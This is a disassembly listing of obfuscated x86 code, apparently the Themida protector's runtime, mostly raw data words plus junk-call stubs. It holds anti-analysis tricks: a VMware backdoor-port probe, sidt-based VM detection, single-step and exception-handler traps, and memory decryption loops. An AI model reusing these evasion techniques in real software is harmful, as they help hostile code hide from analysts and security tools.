dd 0D9819D6Ch, 0F996E4Fh, 6A5F5Ah, 19BD958Bh, 680612h
dd 29000018h, 120421B5h, 800F5306h, 1Ch, 16860Fh, 10E80000h
dd 50000000h, 8569ED94h, 1580C094h, 37D2D67Ah, 59EA7A71h
dd 95FF29B1h, 6122D25h, 1890Fh, 0FFF50000h, 121BA195h
dd 1DC18006h, 2E2B5FFh, 8D8B0615h, 61204FDh, 1B3195FFh
dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 900E1DC3h, 0F68DCE9h, 11E9FABFh, 11000000h
dd 0A69A49C4h, 61F8D5ECh, 4169811Fh, 2A278FEAh, 212D858Dh
dd 0BF660612h, 408B7D6Dh, 0A58D2918h, 0E9061234h, 14h
dd 0E297BAF7h, 0ADA083C8h, 0EBCBB5E5h, 0BDF8562h, 371CD89Fh
dd 311185C7h, 612h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 736421C3h, 3FDBAFDAh
dd 12918D03h, 0BD830612h, 612053Dh, 66840F00h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 43B5C352h, 865B6767h, 0BE8AA77h, 14000000h
dd 0FFA17A9h, 5455B386h, 59FC56F9h, 24D9D89h, 8C3D0612h
dd 0F000000h, 15D83h, 6820F00h, 89000000h, 121DDD8Dh, 6E906h
dd 0F6890000h, 48BD17D2h, 15E9h, 3CBF6600h, 983D48h, 830F0000h
dd 132h, 68D958Bh, 858D0612h, 5B243Bh, 1BDD8589h, 0D0FF0612h
dd 0EE9h, 86A5BC00h, 62D0F029h, 5853AEACh, 8D364B41h, 5B1E8E85h
dd 28D0F00h, 8B000000h, 31D0FFFEh, 1229D595h, 81C08B06h
dd 5FCEAD1h, 91BD8344h, 6121Bh, 0BD830975h, 61217DDh, 50197400h
dd 0B8C08B53h, 0BC6h, 858589h, 9D8D0612h, 614AE0Fh, 585BD3FFh
dd 17DDBD83h, 74000612h, 0B8535017h, 0BC6h, 858589h, 9D8D0612h
dd 614AAFEh, 585BD3FFh, 23BF6657h, 9D895FEDh, 6120D51h
dd 810FC08Bh, 6, 1759958Bh, 0F530612h, 8Fh, 0F8835F00h
dd 27850FFFh, 89000000h, 120969B5h, 0B985C706h, 61221h
dd 0E9000000h, 0F5h, 0BE18166h, 0E9D68B02h, 22h, 22AD9509h
dd 0F8830612h, 13850F01h, 8B000000h, 12193595h, 114E906h
dd 51600000h, 8A58D78Bh, 40E961C3h, 6AFFFFF1h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 1CFBC350h, 1BF9C308h, 95292A5Bh, 6120875h, 2A5BD8Bh
dd 0C08B0612h, 0D419B966h, 1B91BD83h, 75000612h, 0DDBD8309h
dd 61217h, 53501974h, 0DDB8C08Bh, 89000007h, 12008585h
dd 0F9D8D06h, 0FF0614AEh, 83585BD3h, 1217DDBDh, 17740006h
dd 0DDB85350h, 89000007h, 12008585h, 0FE9D8D06h, 0FF0614AAh
dd 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0D5F1C356h, 0D24E766Bh, 0C8BF0F9Fh
dd 33CF8166h, 8D95037Fh, 8B061221h, 5181BFC0h, 32E90D87h
dd 0F000002h, 0BF0FF8BFh, 7F858DFEh, 8B061500h, 122B0195h
dd 77858906h, 6A061502h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 594CC357h, 0B03EEE98h
dd 0B18D0BF4h, 0E9061201h, 51h, 1681958Bh, 858D0612h, 614FE87h
dd 10E8h, 0E56D1B00h, 0F05F6275h, 91F37BF6h, 97E89AD3h
dd 58BA6640h, 6A405FB4h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 38C0C351h, 0F0091599h
dd 778589F0h, 0B5061502h, 8D346AA8h, 1216B585h, 0B5FF5006h
dd 6150277h, 95FF006Ah, 6122341h, 0F07F883h, 16884h, 0DB8C6600h
dd 0F04C3F6h, 10285h, 7185C600h, 56061228h, 0A8B85268h
dd 0B1B5FF9Ch, 8D061203h, 123B5D85h, 6AD0FF06h, 10006804h
dd 646A0000h, 0D0FF006Ah, 2EA8589h, 85C60615h, 6122871h
dd 0AC9B6847h, 0B5FFEC18h, 61203B1h, 3B5D858Dh, 0D0FF0612h
dd 0F08BD0FFh, 287185C6h, 684F0612h, 0C62F2661h, 22EDB5FFh
dd 858D0612h, 6123B5Dh, 9D8DD0FFh, 61502E6h, 56286A53h
dd 0C085D0FFh, 85C60075h, 6122871h, 64986841h, 0B5FFDB87h
dd 61222EDh, 3B5D858Dh, 0D0FF0612h, 3038589h, 85C60615h
dd 6122871h, 0E7A4684Ch, 0B5FF80A4h, 61222EDh, 3B5D858Dh
dd 0D0FF0612h, 2EA9D8Bh, 5B8D0615h, 9D8D5304h, 61502EFh
dd 0FF006A53h, 0EA9D8BD0h, 0C7061502h, 103h, 0C43C700h
dd 2, 15A19D8Bh, 85C70612h, 6120965h, 0
; ---------------------------------------------------------------------------
push 0
push 0
push 0
mov ebx, [ebp+61502EAh]
push ebx
push 0
push dword ptr [ebp+61502E6h]
call dword ptr [ebp+6150303h]
mov byte ptr [ebp+6122871h], 45h
push 92A5F797h
push dword ptr [ebp+6121D39h]
lea eax, [ebp+6123B5Dh]
call eax
push 0
push 2
call eax
mov bx, ds
test bl, 4
jnz short loc_579F7D
mov ebx, [ebp+61502EAh]
mov dword ptr [ebx+0Ch], 0
push 0
push 0
mov ebx, [ebp+61502EAh]
push ebx
push 0
push dword ptr [ebp+61502E6h]
call dword ptr [ebp+6150303h]
push dword ptr [ebp+61502E6h]
call dword ptr [ebp+6121BA1h]
loc_579F7D: ; CODE XREF: Themida_:00579F49j
push 0
call dword ptr [ebp+61230FDh]
sub [ebp+6121159h], ecx
mov [ebp+6121761h], ebx
lea eax, [ebp+61536ECh]
push 0
push eax
call sub_579FA2
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_579FA2 proc near ; CODE XREF: Themida_:00579F9Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_579FA2 endp
; ---------------------------------------------------------------------------
adc [edx+40A9F794h], ah
cmp eax, 2CED9523h
adc al, [esi]
mov edi, [ebp+6121F65h]
push eax
push 0
push ecx
call sub_579FD1
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_579FD1 proc near ; CODE XREF: Themida_:00579FC9p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_579FD1 endp
; ---------------------------------------------------------------------------
db 95h, 0FBh, 0DEh
; ---------------------------------------------------------------------------
jmp loc_579FF8
; ---------------------------------------------------------------------------
db 10h, 2, 0D2h
dd 0E689118Bh, 514798F8h, 28AAC116h
; ---------------------------------------------------------------------------
loc_579FF8: ; CODE XREF: Themida_:00579FE4j
push large dword ptr fs:0
or [ebp+6122EDDh], ecx
mov large fs:0, esp
stc
cmp dword ptr [ebp+6120D99h], 0
jz loc_57A068
or dx, 0BABh
cmp dword ptr [ebp+61207ADh], 1
jnz loc_57A068
jmp loc_57A045
; ---------------------------------------------------------------------------
db 0FDh, 9, 28h
dd 5CC5CE72h, 0F3F70EBAh, 0A1E2D6Dh, 0B90A5D3Ch
db 0DBh
; ---------------------------------------------------------------------------
loc_57A045: ; CODE XREF: Themida_:0057A02Cj
cmp byte ptr [ebp+6150703h], 0
jnz loc_57A068
mov [ebp+61222E5h], edx
jmp loc_57A19E
; ---------------------------------------------------------------------------
and dx, 98E9h
and edx, [ebp+6122EEDh]
loc_57A068: ; CODE XREF: Themida_:0057A014j
; Themida_:0057A026j ...
xor ebx, ebx
mov edx, [ebp+6122EF5h]
xor eax, eax
or [ebp+6122D85h], edx
inc eax
; ---------------------------------------------------------------------------
db 0Fh, 3Fh, 7
dd 58F640Bh, 0
; ---------------------------------------------------------------------------
add esp, 4
pusha
mov bx, 27FDh
mov edx, 394BD65h
popa
push 0
push eax
call sub_57A09D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A09D proc near ; CODE XREF: Themida_:0057A095p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_57A09D endp
; ---------------------------------------------------------------------------
db 44h, 63h, 0F0h
; ---------------------------------------------------------------------------
retf 0FB83h
; ---------------------------------------------------------------------------
db 0FFh
; ---------------------------------------------------------------------------
jz loc_57A0D3
mov edx, 76D2786Eh
jns loc_57A0CA
add di, 0F9Eh
loc_57A0CA: ; CODE XREF: Themida_:0057A0BFj
jmp loc_57A194
; ---------------------------------------------------------------------------
mov dx, 0B214h
loc_57A0D3: ; CODE XREF: Themida_:0057A0B4j
jmp loc_57A14A
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_57A0E3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A0E3 proc near ; CODE XREF: Themida_:0057A0DBp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_57A0E3 endp
; ---------------------------------------------------------------------------
db 8Dh
dd 4A3036BDh, 0CDAB1356h, 0E18166DAh, 4C8B9108h, 81C70C24h
dd 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h, 0E8550C24h
dd 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 615370Eh
mov eax, [ebx+0B8h]
lea eax, [ebp+6153788h]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
movzx edi, di
mov edi, [ebp+612158Dh]
loc_57A14A: ; CODE XREF: Themida_:loc_57A0D3j
lea eax, [ebp+6153704h]
mov [ebp+6122AE1h], esi
push eax
movzx edx, bx
push large dword ptr fs:0
mov large fs:0, esp
mov dx, 0DCF6h
mov ecx, 0Ah
mov eax, 4855D704h
add eax, 0DF78164h
mov ebx, 8685D465h
mov edx, 34B640h
sub edx, 345FE8h
in eax, dx
cmp ebx, 564D5868h
jnz short loc_57A19E
loc_57A194: ; CODE XREF: Themida_:loc_57A0CAj
mov dword ptr [ebp+6120971h], 1
loc_57A19E: ; CODE XREF: Themida_:0057A058j
; Themida_:0057A192j
pop large dword ptr fs:0
add esp, 4
mov [ebp+6121925h], edx
mov [ebp+6121A29h], edi
clc
mov eax, eax
call sub_57A1CE
pop edx
retf 0D206h
; ---------------------------------------------------------------------------
dd 5805087h, 5644344h, 62FE0A70h
db 0DAh, 98h
; =============== S U B R O U T I N E =======================================
sub_57A1CE proc near ; CODE XREF: Themida_:0057A1B7p
var_1A = byte ptr -1Ah
var_10 = dword ptr -10h
mov [ebp+6121789h], ebx
pop edx
cmp dword ptr [ebp+6121B91h], 0
jnz short loc_57A1E7
cmp dword ptr [ebp+61217DDh], 0
jz short loc_57A200
loc_57A1E7: ; CODE XREF: sub_57A1CE+Ej
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+6122295h], eax
lea ebx, [ebp+614AE76h]
call ebx
pop ebx
pop eax
loc_57A200: ; CODE XREF: sub_57A1CE+17j
cmp dword ptr [ebp+61217DDh], 0
jz short loc_57A220
push eax
push ebx
mov eax, 43Dh
mov [ebp+6122295h], eax
lea ebx, [ebp+614AB17h]
call ebx
pop ebx
pop eax
loc_57A220: ; CODE XREF: sub_57A1CE+39j
mov dl, 0B6h
mov edx, [ebp+6121999h]
mov eax, eax
jmp loc_57A376
; ---------------------------------------------------------------------------
db 4
dd 31000000h, 3031392Eh, 7 dup(0)
db 0
aExceptionInfor db 'Exception Information',0
aPleaseContactT db 'Please, contact the software developers with the following codes.'
db ' Thank you.',0Ah
db 0Dh,0Ah
db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah
db 0Dh,0Ah
db 0Dh,'Version = %s',0Ah
db 0Dh,'CheckIN = %d',0Ah
db 0Dh,'CheckOUT = %d',0Ah
db 0Dh,'ProcIN = %d',0Ah
db 0Dh,'ProcOUT = %d',0Ah
db 0Dh,'ExitIN = %d',0Ah
db 0Dh,'ExitOUT = %d',0Ah
db 0Dh,'TPin = %d',0Ah
db 0Dh,0
; ---------------------------------------------------------------------------
loc_57A376: ; CODE XREF: sub_57A1CE+5Cj
cmp dword ptr [ebp+6121A15h], 0
jz loc_57A4B0
lea eax, [ebp+614A92Eh]
push eax
lea eax, [ebp+614A898h]
push eax
push 80000001h
call dword ptr [ebp+614A93Eh]
lea eax, [ebp+6153819h]
push eax
lea eax, [ebp+6153823h]
push eax
push 0
push 0
lea eax, [ebp+614A8ACh]
push eax
push dword ptr [ebp+614A92Eh]
call dword ptr [ebp+6121765h]
lea eax, [ebp+6153819h]
push eax
lea eax, [ebp+6153827h]
push eax
push 0
push 0
lea eax, [ebp+614A8BEh]
push eax
push dword ptr [ebp+614A92Eh]
call dword ptr [ebp+6121765h]
lea eax, [ebp+6153819h]
push eax
lea eax, [ebp+6153833h]
push eax
push 0
push 0
lea eax, [ebp+614A90Bh]
push eax
push dword ptr [ebp+614A92Eh]
call dword ptr [ebp+6121765h]
lea eax, [ebp+6153819h]
push eax
lea eax, [ebp+615383Bh]
push eax
push 0
push 0
lea eax, [ebp+614A929h]
push eax
push dword ptr [ebp+614A92Eh]
call dword ptr [ebp+6121765h]
lea eax, [ebp+6153819h]
push eax
lea eax, [ebp+6153837h]
push eax
push 0
push 0
lea eax, [ebp+614A912h]
push eax
push dword ptr [ebp+614A92Eh]
call dword ptr [ebp+6121765h]
lea eax, [ebp+6153819h]
push eax
lea eax, [ebp+615382Bh]
push eax
push 0
push 0
lea eax, [ebp+614A91Ah]
push eax
push dword ptr [ebp+614A92Eh]
call dword ptr [ebp+6121765h]
lea eax, [ebp+6153819h]
push eax
lea eax, [ebp+615382Fh]
push eax
push 0
push 0
lea eax, [ebp+614A921h]
push eax
push dword ptr [ebp+614A92Eh]
call dword ptr [ebp+6121765h]
push dword ptr [ebp+614A92Eh]
call dword ptr [ebp+61218A1h]
jmp loc_57A552
; ---------------------------------------------------------------------------
loc_57A4B0: ; CODE XREF: sub_57A1CE+1AFj
cmp dword ptr [ebp+6120E85h], 0
jz loc_57A552
cmp dword ptr [ebp+61207ADh], 0
jnz loc_57A4DB
mov edx, [ebp+61209C1h]
add edx, 1CF8h
jmp loc_57A4EA
; ---------------------------------------------------------------------------
loc_57A4DB: ; CODE XREF: sub_57A1CE+2F6j
lea edx, [ebp+612212Dh]
mov edx, [edx+34h]
add edx, 3BD4C340h
loc_57A4EA: ; CODE XREF: sub_57A1CE+308j
mov [ebp+6122411h], edx
cmp dword ptr [ebp+6122411h], 0
jz loc_57A552
mov ebx, [ebp+6122411h]
add ebx, 4Ch
mov eax, [ebx]
mov [ebp+6153823h], eax
mov ebx, [ebp+6122411h]
add ebx, 50h
mov eax, [ebx]
mov [ebp+6153827h], eax
mov ebx, [ebp+6122411h]
add ebx, 54h
mov eax, [ebx]
mov [ebp+6153833h], eax
mov ebx, [ebp+6122411h]
add ebx, 58h
mov eax, [ebx]
mov [ebp+6153837h], eax
mov ebx, [ebp+6122411h]
add ebx, 5Ch
mov eax, [ebx]
mov [ebp+615382Bh], eax
loc_57A552: ; CODE XREF: sub_57A1CE+2DDj
; sub_57A1CE+2E9j ...
cmp dword ptr [ebp+6121A15h], 0
jnz loc_57A56C
cmp dword ptr [ebp+6120E85h], 0
jz loc_57A5D4
loc_57A56C: ; CODE XREF: sub_57A1CE+38Bj
push dword ptr [ebp+615383Bh]
push dword ptr [ebp+615382Fh]
push dword ptr [ebp+615382Bh]
push dword ptr [ebp+6153837h]
push dword ptr [ebp+6153833h]
push dword ptr [ebp+6153827h]
push dword ptr [ebp+6153823h]
lea eax, [ebp+615381Dh]
push eax
lea eax, [ebp+6153855h]
push eax
lea eax, [ebp+6120A31h]
push eax
call dword ptr [ebp+6122371h]
add esp, 24h
push 40h
lea eax, [ebp+615383Fh]
push eax
lea eax, [ebp+6120A31h]
push eax
push 0
call dword ptr [ebp+6122341h]
push 1
call dword ptr [ebp+61230FDh]
loc_57A5D4: ; CODE XREF: sub_57A1CE+398j
mov eax, ecx
jmp short loc_57A5F0
; ---------------------------------------------------------------------------
dd 9B46F317h, 5 dup(0)
; ---------------------------------------------------------------------------
loc_57A5F0: ; CODE XREF: sub_57A1CE+408j
jmp loc_57A800
; ---------------------------------------------------------------------------
loc_57A5F5: ; CODE XREF: sub_57A1CE+43Cj
pusha
mov ebx, [esp+34h+var_10]
call $+5
pop ebp
sub ebp, 6153BE9h
popa
retn 4
; ---------------------------------------------------------------------------
jmp loc_57A5F5
; ---------------------------------------------------------------------------
loc_57A60F: ; CODE XREF: sub_57A1CE+446j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57A60F
; ---------------------------------------------------------------------------
loc_57A619: ; CODE XREF: sub_57A1CE+450j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57A619
; ---------------------------------------------------------------------------
loc_57A623: ; CODE XREF: sub_57A1CE+45Aj
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57A623
; ---------------------------------------------------------------------------
loc_57A62D: ; CODE XREF: sub_57A1CE+464j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57A62D
; ---------------------------------------------------------------------------
align 4
dd 0
dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 153C21B5h, 0E68106h
dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h, 153C25B5h
dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h, 8C6650C3h
dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
dd 6122411h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh, 2404FF58h
dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 12190595h, 10F5006h
dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h, 2588966h
dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 6122411h
dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
dd 0A03E380h, 38840FDBh, 0BB000000h, 2, 2411858Bh, 18860612h
dd 850FDB0Ah, 0FFFFFFF6h, 289585C7h, 612h, 448B0000h, 988B0824h
dd 1000h, 10009889h, 188B0000h, 0AE91889h, 0C7000000h
dd 12289585h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
dd 13h, 2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh
; ---------------------------------------------------------------------------
loc_57A800: ; CODE XREF: sub_57A1CE:loc_57A5F0j
mov ax, ds
test al, 4
jz loc_57A834
mov dword ptr [ebp+6153BC6h], 1
push eax
sidt fword ptr [esp+18h+var_1A]
pop dword ptr [ebp+6153BCAh]
lea eax, [ebp+6153BC2h]
lea edi, [ebp+6153BCAh]
mov [eax], edi
jmp loc_57A857
; ---------------------------------------------------------------------------
loc_57A834: ; CODE XREF: sub_57A1CE+637j
lea eax, [ebp+612212Dh]
mov eax, [eax+38h]
add eax, 9B46F317h
mov [ebp+6153BC2h], eax
lea eax, [ebp+612212Dh]
mov eax, [eax+3Ch]
mov [ebp+6153BC6h], eax
loc_57A857: ; CODE XREF: sub_57A1CE+661j
lea eax, [ebp+6153BDFh]
mov [ebp+6121905h], eax
jmp loc_57A8EF
; ---------------------------------------------------------------------------
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_57A883
; ---------------------------------------------------------------------------
loc_57A87C: ; CODE XREF: sub_57A1CE+6B7j
add [esi], al
xor [esi], al
ror eax, 1
inc esi
loc_57A883: ; CODE XREF: sub_57A1CE+6A9j
cmp esi, edi
jb loc_57A87C
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_57A8AB
; ---------------------------------------------------------------------------
loc_57A8A4: ; CODE XREF: sub_57A1CE+6DFj
xor [esi], al
sub [esi], al
ror eax, 1
inc esi
loc_57A8AB: ; CODE XREF: sub_57A1CE+6D1j
cmp esi, edi
jb loc_57A8A4
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
push edx
mov edx, esp
push esi
push ecx
push ebx
xor ebx, ebx
mov esi, [edx+8]
mov ecx, [edx+0Ch]
jmp loc_57A8DE
; ---------------------------------------------------------------------------
loc_57A8CB: ; CODE XREF: sub_57A1CE+712j
lodsb
cmp al, 2Dh
jz loc_57A8DE
add al, 98h
xor al, 13h
xor bl, al
rol ebx, 8
dec ecx
loc_57A8DE: ; CODE XREF: sub_57A1CE+6F8j
; sub_57A1CE+700j
or ecx, ecx
jnz loc_57A8CB
mov eax, ebx
pop ebx
pop ecx
pop esi
pop edx
retn 8
; ---------------------------------------------------------------------------
loc_57A8EF: ; CODE XREF: sub_57A1CE+695j
lea eax, [ebp+6153E52h]
mov [ebp+612109Dh], eax
lea eax, [ebp+6153E7Ah]
mov [ebp+61212B5h], eax
lea eax, [ebp+6153EA2h]
mov [ebp+61205B5h], eax
pusha
push 0
push eax
call sub_57A91F
and [eax-3Dh], bl
sub_57A1CE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_57A91F proc near ; CODE XREF: sub_57A1CE+749p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_57A91F endp
; ---------------------------------------------------------------------------
cmp esi, [edx]
push edi
pop ecx
mov eax, eax
push 0
push eax
call sub_57A940
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A940 proc near ; CODE XREF: Themida_:0057A938p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_57A940 endp
; ---------------------------------------------------------------------------
xchg eax, ecx
or edi, [ecx+62h]
mov cl, dh
or dh, 8Bh
cmp dword ptr [ebp+6121B91h], 0
jnz short loc_57A96B
cmp dword ptr [ebp+61217DDh], 0
jz short loc_57A984
loc_57A96B: ; CODE XREF: Themida_:0057A960j
push eax
push ebx
mov eax, eax
mov eax, 40Eh
mov [ebp+6120085h], eax
lea ebx, [ebp+614AE0Fh]
call ebx
pop ebx
pop eax
loc_57A984: ; CODE XREF: Themida_:0057A969j
cmp dword ptr [ebp+61217DDh], 0
jz short loc_57A9A4
push eax
push ebx
mov eax, 40Eh
mov [ebp+6120085h], eax
lea ebx, [ebp+614AAFEh]
call ebx
pop ebx
pop eax
loc_57A9A4: ; CODE XREF: Themida_:0057A98Bj
push 0
push edi
call sub_57A9AF
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A9AF proc near ; CODE XREF: Themida_:0057A9A7p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_57A9AF endp
; ---------------------------------------------------------------------------
db 40h
dd 764359Eh, 0F9C06354h, 14E9h, 60B6DC00h, 0DFC9A0FFh
dd 0A50DFE6Fh, 0AD6D734Dh, 8BA8D650h, 53006A57h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 12E95Fh, 77B60000h, 0F4509BDAh, 0A818F5C8h, 13CEB84Dh
dd 91E3A543h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 39FC54C3h, 52A0A2A4h, 83F93FA3h
dd 120D99BDh, 840F0006h, 34h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 42C35242h, 4120E95Ch, 217E9C3h
dd 0F500000h, 686h, 0A7EA8100h, 5E6EE71Ch, 8166DF8Ch, 667076D2h
dd 4C7F7h, 1F7850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0DF0735C3h, 0D3B70F1Dh
dd 53DBD83h, 0F000612h, 4785h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 492DC609h
dd 0A2E9F2D1h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0CDF3C353h, 9F6A0612h
dd 0BA66FF2Bh, 9D8D2363h, 6154246h, 28DA8166h, 0D68B937Eh
dd 5517BA50h, 6A930596h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 8731C351h, 21F2A4C9h
dd 35FF64A8h, 0
; ---------------------------------------------------------------------------
mov si, 0EFBAh
mov large fs:0, esp
jmp loc_57AB68
; ---------------------------------------------------------------------------
dd 0D0C1FC3Ch, 8F00A32Dh, 0FB89BCDDh, 312C7C52h
; ---------------------------------------------------------------------------
loc_57AB68: ; CODE XREF: Themida_:0057AB53j
mov eax, esp
pusha
js $+6
push esi
mov al, dh
pop ecx
popa
int 1 ; - internal hardware - SINGLE-STEP
; generated at end of each machine instruction if TF bit in FLAGS is set
jmp short $+2
push 0
push ebp
call sub_57AB85
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57AB85 proc near ; CODE XREF: Themida_:0057AB7Dp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_57AB85 endp
; ---------------------------------------------------------------------------
daa
jmp loc_57ABA8
; ---------------------------------------------------------------------------
db 4Ch
dd 20E9FD1h, 0E52673F0h, 4E622A70h
; ---------------------------------------------------------------------------
loc_57ABA8: ; CODE XREF: Themida_:0057AB96j
push 0
push edi
call sub_57ABB3
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57ABB3 proc near ; CODE XREF: Themida_:0057ABABp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_57ABB3 endp
; ---------------------------------------------------------------------------
db 0A4h
dd 9DA11F41h, 666073B5h, 6691CFBBh, 6461C88Bh, 58Fh, 0AE80000h
dd 7A000000h, 0AB380206h, 2BA43070h, 0F1F8BE9Eh, 835E0733h
dd 0F96004C4h, 9E9h, 0DB339A00h, 5D5E71F3h, 0B61AF64h
dd 7A840FC0h, 0E9000000h, 11h, 43140062h, 12C8CB34h, 0C3FB4873h
dd 2034BA42h, 8B5061A2h, 0BD8D5AF0h, 6127277h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 10C35545h, 0CDB944CBh
dd 1B8F0h, 0BF0F0000h, 66E7FFF1h, 0EABE981h, 245C8B57h
dd 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h
dd 0B883h, 335F0200h, 0D280C3C0h, 0B588B236h, 5E961E8h
dd 0E5000000h, 0FB83510Ah, 0BD83C08Bh, 6121B91h, 83097500h
dd 1217DDBDh, 19740006h, 0C08B5350h, 40EB8h, 95858900h
dd 8D061222h, 14AE769Dh, 5BD3FF06h, 0DDBD8358h, 61217h
dd 53501774h, 40EB8h, 95858900h, 8D061222h, 14AB179Dh
dd 5BD3FF06h, 9CEA8058h, 4830Fh, 0B9660000h, 0FF92C9Bh
dd 289h, 8B66B500h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 5CF0E5A6h, 0C840Fh, 870F0000h
dd 6, 830Fh, 0C28B0000h, 10E8h, 74792500h, 5CD6C10h, 0B35FDB0Fh
dd 0ECBB9ADCh, 605AFC98h, 49E98166h, 5AC7BEA6h, 816152A6h
dd 6BBEC2h, 8EBB6600h, 1AC5B8F8h, 97BB0000h, 8B187641h
dd 0D8BF0F32h, 37FCF681h, 10E929FCh, 0B3000000h, 0EEDAD0D8h
dd 0C700ABE8h, 0B0133577h, 81CC6673h, 809E33C6h, 0CEBF0F5Eh
dd 0E715EE81h, 89F50A62h, 54C18132h, 8336A54Eh, 4AF903EAh
dd 0BBDF7FBBh, 1E88372h, 16850Fh, 0EF810000h, 59E5D926h
dd 26E9h, 74AA0500h, 21DFBB4Bh, 0B84EFC13h, 0E9AACB80h
dd 0FFFFFF97h, 0A239D258h, 649DB663h, 0AB4C9AEFh, 1FF8F334h
dd 0EB6CDA9Eh, 8, 0
dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0AD858B24h
dd 8D061207h, 1572D185h, 8B088B06h, 100088h, 660A8B00h
dd 89FC4A8Bh, 1543CB8Dh, 3DBD8306h, 61205h, 0F840Fh, 6A600000h
dd 0CD95FF00h, 61061219h, 0FFFFC4E9h, 728966FFh, 10CEC1FCh
